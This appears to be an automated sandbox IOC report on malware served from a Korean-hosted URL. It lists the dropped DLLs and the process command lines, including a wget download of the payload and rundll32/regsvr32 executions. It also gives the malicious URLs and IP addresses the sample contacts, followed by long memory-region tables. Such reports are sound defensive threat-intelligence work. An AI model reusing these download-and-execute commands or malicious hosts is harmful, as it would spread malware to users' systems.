IOC Report
http://clotizen.dothome.co.kr/members/lZTkIb3OkjcV

loading gif

Files

File Path
Type
Category
Malicious
C:\Users\user\Desktop\download\NjszMzh0ar.dll
PE32+ executable (DLL) (GUI) x86-64, for MS Windows
dropped
 malicious
C:\Windows\System32\QKXGFEEVVr\VycaGa.dll (copy)
PE32+ executable (DLL) (GUI) x86-64, for MS Windows
dropped
 malicious
C:\Users\user\Desktop\cmdline.out
ASCII text, with CRLF line terminators
modified

Processes

Path
Cmdline
Malicious
C:\Windows\System32\loaddll64.exe
loaddll64.exe "C:\Users\user\Desktop\download\NjszMzh0ar.dll"
 malicious
C:\Windows\System32\regsvr32.exe
regsvr32.exe /s C:\Users\user\Desktop\download\NjszMzh0ar.dll
 malicious
C:\Windows\System32\rundll32.exe
rundll32.exe "C:\Users\user\Desktop\download\NjszMzh0ar.dll",#1
 malicious
C:\Windows\System32\rundll32.exe
rundll32.exe C:\Users\user\Desktop\download\NjszMzh0ar.dll,AOBplENEwxGsLJOHWaHDTizor
 malicious
C:\Windows\System32\regsvr32.exe
C:\Windows\system32\regsvr32.exe "C:\Windows\system32\QKXGFEEVVr\VycaGa.dll"
 malicious
C:\Windows\System32\rundll32.exe
rundll32.exe C:\Users\user\Desktop\download\NjszMzh0ar.dll,BSUOlvQdFaMbSsYDjgkGG
 malicious
C:\Windows\System32\rundll32.exe
rundll32.exe C:\Users\user\Desktop\download\NjszMzh0ar.dll,DllRegisterServer
 malicious
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://clotizen.dothome.co.kr/members/lZTkIb3OkjcV/" > cmdline.out 2>&1
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\SysWOW64\wget.exe
wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://clotizen.dothome.co.kr/members/lZTkIb3OkjcV/"
C:\Windows\System32\cmd.exe
cmd.exe /C rundll32.exe "C:\Users\user\Desktop\download\NjszMzh0ar.dll",#1
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
There are 4 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://clotizen.dothome.co.kr/members/lZTkIb3OkjcV
malicious
http://clotizen.dothome.co.kr/members/lZTkIb3OkjcV/8
unknown
 malicious
https://45.55.191.130/
45.55.191.130
 malicious
https://213.239.212.5/
213.239.212.5
 malicious
http://clotizen.dothome.co.kr/members/lZTkIb3OkjcV/
112.175.184.78
 malicious
https://213.239.212.5/D
unknown
 malicious
https://45.55.191.130/%I:
unknown
 malicious
https://45.55.191.130/;
unknown
 malicious

Domains

Name
IP
Malicious
clotizen.dothome.co.kr
112.175.184.78

IPs

IP
Domain
Country
Malicious
112.194.0.0
unknown
China
malicious
80.100.90.0
unknown
Netherlands
malicious
192.3.0.0
unknown
United States
malicious
74.211.2.0
unknown
United States
malicious
45.55.191.130
unknown
United States
malicious
213.239.212.5
unknown
Germany
malicious
4.4.0.0
unknown
United States
malicious
232.3.0.0
unknown
Reserved
malicious
208.109.90.0
unknown
United States
malicious
222.94.0.0
unknown
China
malicious
20.4.0.0
unknown
United States
malicious
215.219.2.0
unknown
United States
malicious
68.211.2.0
unknown
United States
malicious
208.100.90.0
unknown
United States
malicious
16.101.90.0
unknown
United States
malicious
70.211.2.0
unknown
United States
malicious
32.4.0.0
unknown
United States
malicious
67.211.2.0
unknown
United States
malicious
4.1.0.0
unknown
United States
malicious
36.4.0.0
unknown
China
malicious
236.3.0.0
unknown
Reserved
malicious
16.4.0.0
unknown
United States
malicious
96.92.0.0
unknown
United States
malicious
208.99.90.0
unknown
United States
malicious
56.211.2.0
unknown
United States
malicious
72.211.2.0
unknown
United States
malicious
16.100.90.0
unknown
United States
malicious
112.175.184.78
clotizen.dothome.co.kr
Korea Republic of
192.168.2.1
unknown
unknown
There are 19 hidden IPs, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
292F30B0000
direct allocation
page execute and read and write
 malicious
14A0000
direct allocation
page execute and read and write
 malicious
491000
direct allocation
page execute read
 malicious
1EA80041000
direct allocation
page execute read
 malicious
1EA80010000
direct allocation
page execute and read and write
 malicious
14D1000
direct allocation
page execute read
 malicious
450000
direct allocation
page execute and read and write
 malicious
578000
heap
page read and write
 malicious
292F30E1000
direct allocation
page execute read
 malicious
B3E000
stack
page read and write
5026DF9000
stack
page read and write
14D0000
direct allocation
page read and write
1EAA3500000
trusted library allocation
page read and write
1D0000
heap
page read and write
24833502000
heap
page read and write
1EAA25FD000
heap
page read and write
1FBD6428000
heap
page read and write
2B33CDD0000
heap
page read and write
9259DFF000
stack
page read and write
1EAA2450000
heap
page read and write
23018E63000
heap
page read and write
2EA0000
heap
page read and write
2483345E000
heap
page read and write
1E0000
trusted library allocation
page read and write
23018D60000
heap
page read and write
65A000
heap
page read and write
21A28D80000
heap
page read and write
4B9000
direct allocation
page read and write
180001000
unkown
page execute read
1EAA3560000
trusted library allocation
page read and write
180061000
unkown
page read and write
1EAA2460000
trusted library allocation
page read and write
23018E5C000
heap
page read and write
1E90000
trusted library allocation
page read and write
2B339A48000
heap
page read and write
1B4F79BC000
heap
page read and write
1EAA2730000
trusted library allocation
page read and write
292F3065000
heap
page read and write
654000
heap
page read and write
BA3000
heap
page read and write
14FA000
direct allocation
page readonly
23018E5B000
heap
page read and write
550000
trusted library allocation
page read and write
292F310A000
direct allocation
page readonly
325C000
stack
page read and write
21A28CB0000
heap
page read and write
1FBD6413000
heap
page read and write
1EAA25FD000
heap
page read and write
23018F08000
heap
page read and write
B96000
heap
page read and write
560000
trusted library allocation
page read and write
23018E29000
heap
page read and write
292F3040000
heap
page read and write
1F57000
heap
page read and write
2B339A4C000
heap
page read and write
1B4F79CD000
heap
page read and write
1B4F79B2000
heap
page read and write
5B0000
heap
page read and write
1B4F79AD000
heap
page read and write
1EAFA600000
heap
page read and write
238E000
stack
page read and write
D64F57E000
stack
page read and write
1D0000
heap
page read and write
1EAA27A0000
trusted library allocation
page read and write
1EAA26B0000
heap
page read and write
44A9CDC000
stack
page read and write
1B4F79A9000
heap
page read and write
248D000
stack
page read and write
1EAA2621000
heap
page read and write
23018F00000
heap
page read and write
14F9000
direct allocation
page read and write
1B4F78B0000
heap
page read and write
1580000
heap
page read and write
1B4FAB40000
trusted library allocation
page read and write
98075FF000
stack
page read and write
2B339A42000
heap
page read and write
16B38BB000
stack
page read and write
21A28B70000
heap
page read and write
2B339BF0000
heap
page read and write
180000000
unkown
page readonly
98076FE000
stack
page read and write
65A000
heap
page read and write
1190000
heap
page read and write
5026FFF000
stack
page read and write
A50000
trusted library allocation
page read and write
1EA80040000
direct allocation
page read and write
2550000
heap
page read and write
1B4F7770000
heap
page read and write
F0000
remote allocation
page read and write
2DB0000
trusted library allocation
page read and write
292F3110000
heap
page readonly
1EAA25B0000
heap
page read and write
1B4F7C45000
heap
page read and write
7EB5000
heap
page read and write
1B4F79AD000
heap
page read and write
292F49D9000
heap
page read and write
12B0000
direct allocation
page execute and read and write
180061000
unkown
page read and write
98072FB000
stack
page read and write
5DB000
heap
page read and write
2483345C000
heap
page read and write
2DAF000
stack
page read and write
24833480000
heap
page read and write
1275000
stack
page read and write
5B0000
heap
page read and write
1B4F7C40000
heap
page read and write
1FBD6440000
heap
page read and write
23018F02000
heap
page read and write
292F3137000
heap
page read and write
180064000
unkown
page readonly
1B4F7950000
heap
page read and write
1FBD6C02000
trusted library allocation
page read and write
F50000
heap
page read and write
23018E52000
heap
page read and write
9806E9C000
stack
page read and write
1EA80000000
direct allocation
page execute and read and write
400000
heap
page read and write
5026D7F000
stack
page read and write
307F000
stack
page read and write
1B4F79A9000
heap
page read and write
2B339A65000
heap
page read and write
31BBCFD000
stack
page read and write
1FBD6502000
heap
page read and write
14F8000
direct allocation
page readonly
23018F13000
heap
page read and write
1FBD6500000
heap
page read and write
292F30E0000
direct allocation
page read and write
23018E13000
heap
page read and write
9259AFE000
stack
page read and write
639000
heap
page read and write
24833452000
heap
page read and write
23018DF0000
trusted library allocation
page read and write
9259FFE000
stack
page read and write
1EAA32A0000
trusted library allocation
page read and write
AFE000
stack
page read and write
16B39BF000
stack
page read and write
605000
heap
page read and write
9CC000
stack
page read and write
607000
heap
page read and write
24B0000
remote allocation
page read and write
44A9D5F000
stack
page read and write
2B339A39000
heap
page read and write
24833320000
trusted library allocation
page read and write
1B4F7C30000
heap
page read and write
AFBAD1F000
stack
page read and write
605000
heap
page read and write
570000
heap
page read and write
180064000
unkown
page readonly
4BA000
direct allocation
page readonly
24833413000
heap
page read and write
23018E7C000
heap
page read and write
1FBD6513000
heap
page read and write
1EAA2720000
trusted library allocation
page read and write
1EAA25B7000
heap
page read and write
292F30A0000
direct allocation
page execute and read and write
2E90000
heap
page read and write
A0E000
stack
page read and write
50269DB000
stack
page read and write
292F3108000
direct allocation
page readonly
B70000
heap
page read and write
2B339C2B000
heap
page read and write
24833480000
heap
page read and write
A80000
heap
page read and write
180051000
unkown
page readonly
24833C02000
trusted library allocation
page read and write
106F000
stack
page read and write
2B339990000
heap
page read and write
639000
heap
page read and write
98074F7000
stack
page read and write
12DB000
heap
page read and write
2B339A36000
heap
page read and write
180001000
unkown
page execute read
1B4F79B2000
heap
page read and write
23018D50000
heap
page read and write
1FBD6260000
heap
page read and write
1EAFA6A0000
heap
page read and write
2B339C25000
heap
page read and write
2483345D000
heap
page read and write
2B339A00000
heap
page read and write
F0000
remote allocation
page read and write
16B3C7F000
stack
page read and write
292F3020000
heap
page read and write
639000
heap
page read and write
21A28D88000
heap
page read and write
23018E7D000
heap
page read and write
1EAFA8E5000
heap
page read and write
1B4F7997000
heap
page read and write
2483343C000
heap
page read and write
1EAA25FD000
heap
page read and write
292F3130000
heap
page read and write
292FA937000
heap
page read and write
1374000
heap
page read and write
24833513000
heap
page read and write
602000
heap
page read and write
180051000
unkown
page readonly
FE0000
heap
page read and write
1EAA3290000
trusted library allocation
page read and write
5026CFE000
stack
page read and write
B78000
heap
page read and write
1EAA34F0000
heap
page readonly
24833400000
heap
page read and write
AFBAD9F000
stack
page read and write
D64F5FF000
stack
page read and write
440000
direct allocation
page execute and read and write
1EA85F65000
heap
page read and write
A5F00FF000
stack
page read and write
24833482000
heap
page read and write
1EAA34E0000
trusted library allocation
page read and write
653000
heap
page read and write
5026EFF000
stack
page read and write
2B339C20000
heap
page read and write
23019802000
trusted library allocation
page read and write
480000
heap
page read and write
9806F1F000
stack
page read and write
1B4F79C1000
heap
page read and write
63F000
heap
page read and write
A60000
heap
page read and write
1335000
heap
page read and write
490000
direct allocation
page read and write
1FBD6402000
heap
page read and write
1EAA25F5000
heap
page read and write
24B0000
remote allocation
page read and write
1B4F7990000
heap
page read and write
CA000
stack
page read and write
2B339A2E000
heap
page read and write
24B0000
remote allocation
page read and write
1FBD646A000
heap
page read and write
2E5E000
stack
page read and write
2483348B000
heap
page read and write
E6F000
stack
page read and write
1B4F79B8000
heap
page read and write
1B4F78D0000
heap
page read and write
1EA80070000
heap
page readonly
44A9DDF000
stack
page read and write
24833429000
heap
page read and write
1B4F7C4B000
heap
page read and write
1EA80007000
heap
page read and write
2B339A4C000
heap
page read and write
1B4F79BC000
heap
page read and write
2B33CDD3000
heap
page read and write
2B339A3D000
heap
page read and write
1FBD63D0000
trusted library allocation
page read and write
1B4F79AD000
heap
page read and write
24833460000
heap
page read and write
FC0000
heap
page read and write
1195000
heap
page read and write
5DA000
heap
page read and write
2B33CDE0000
trusted library allocation
page read and write
23018E88000
heap
page read and write
292F2EE0000
heap
page read and write
24833402000
heap
page read and write
485000
heap
page read and write
1F40000
heap
page read and write
292F49F0000
heap
page read and write
5B0000
heap
page read and write
327F000
stack
page read and write
1B4FB340000
heap
page read and write
23018DC0000
heap
page read and write
2B339A20000
heap
page read and write
4B8000
direct allocation
page readonly
2B339A51000
heap
page read and write
23018E3C000
heap
page read and write
1FBD6465000
heap
page read and write
A5EFC7E000
stack
page read and write
24833500000
heap
page read and write
92597AC000
stack
page read and write
1EAFA4C0000
heap
page read and write
23018E00000
heap
page read and write
248331B0000
heap
page read and write
A5F01FF000
stack
page read and write
1B4F7C33000
heap
page read and write
2309000
stack
page read and write
292F313B000
heap
page read and write
9C000
stack
page read and write
A4E000
stack
page read and write
1EAA2790000
heap
page read and write
1EAFA8E0000
heap
page read and write
157E000
stack
page read and write
1EAA2590000
heap
page read and write
240F000
stack
page read and write
24833220000
heap
page read and write
63D000
heap
page read and write
1FBD6457000
heap
page read and write
B99000
heap
page read and write
A5EFEFB000
stack
page read and write
98073FB000
stack
page read and write
2B339A28000
heap
page read and write
5026F79000
stack
page read and write
180000000
unkown
page readonly
1B4F799B000
heap
page read and write
10000
heap
page read and write
5026E7B000
stack
page read and write
1FBD6476000
heap
page read and write
2B33B600000
heap
page read and write
248331C0000
heap
page read and write
2DB0000
trusted library allocation
page read and write
9259CFB000
stack
page read and write
1585000
heap
page read and write
336A000
stack
page read and write
9259EFB000
stack
page read and write
23018E7C000
heap
page read and write
A5EFFF7000
stack
page read and write
1EAA3510000
trusted library allocation
page read and write
24833508000
heap
page read and write
2B339A39000
heap
page read and write
AFBAC9C000
stack
page read and write
30000
heap
page read and write
1EAFA6A9000
heap
page read and write
1359000
heap
page read and write
A5EFCFE000
stack
page read and write
2B339A42000
heap
page read and write
9806F9F000
stack
page read and write
8DFE000
heap
page read and write
2B339A5D000
heap
page read and write
23018E67000
heap
page read and write
12D0000
heap
page read and write
292F3060000
heap
page read and write
16B393E000
stack
page read and write
1EA80068000
direct allocation
page readonly
1D6000
heap
page read and write
A5EF99C000
stack
page read and write
32EF000
stack
page read and write
1E90000
trusted library allocation
page read and write
4C0000
heap
page readonly
1FBD62D0000
heap
page read and write
1EAFA620000
heap
page read and write
252F000
stack
page read and write
D64F4FB000
stack
page read and write
1EA80130000
heap
page read and write
1EAA2799000
heap
page read and write
12C0000
heap
page readonly
1EA8006A000
direct allocation
page readonly
2B33D5E0000
heap
page read and write
1EAA2795000
heap
page read and write
1FBD6270000
heap
page read and write
1F0C000
stack
page read and write
1FBD6400000
heap
page read and write
There are 327 hidden memdumps, click here to show them.